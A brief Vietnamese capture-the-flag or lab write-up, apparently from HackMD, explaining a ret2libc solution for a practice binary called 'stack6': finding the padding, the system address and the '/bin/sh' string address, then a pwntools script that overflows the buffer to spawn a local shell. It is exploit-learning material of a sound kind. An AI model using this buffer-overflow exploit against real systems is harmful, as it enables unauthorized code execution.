bài này ta phải ret2libc đầu tiên mình sẽ tìm padding ![image](https://hackmd.io/_uploads/SyPtLcv7R.png) tiếp theo mình sẽ tìm system để gọi chuỗi "/bin/sh" ![image](https://hackmd.io/_uploads/HyvTUqvmR.png) xâu đó tìm địa chỉ của chuỗi "/bin/sh" để ret ![image](https://hackmd.io/_uploads/Sy-bv9vmR.png) và đây là script để exploit ``` from pwn import * p = process('./stack6') padding = b'a'*80 system = 0xf7c4c8c0 bin_sh = 0xf7db5fc8 payload = padding + p32(system) + p32(0) + p32(bin_sh) p.sendline(payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/S1mLw5wQC.png) v là thành công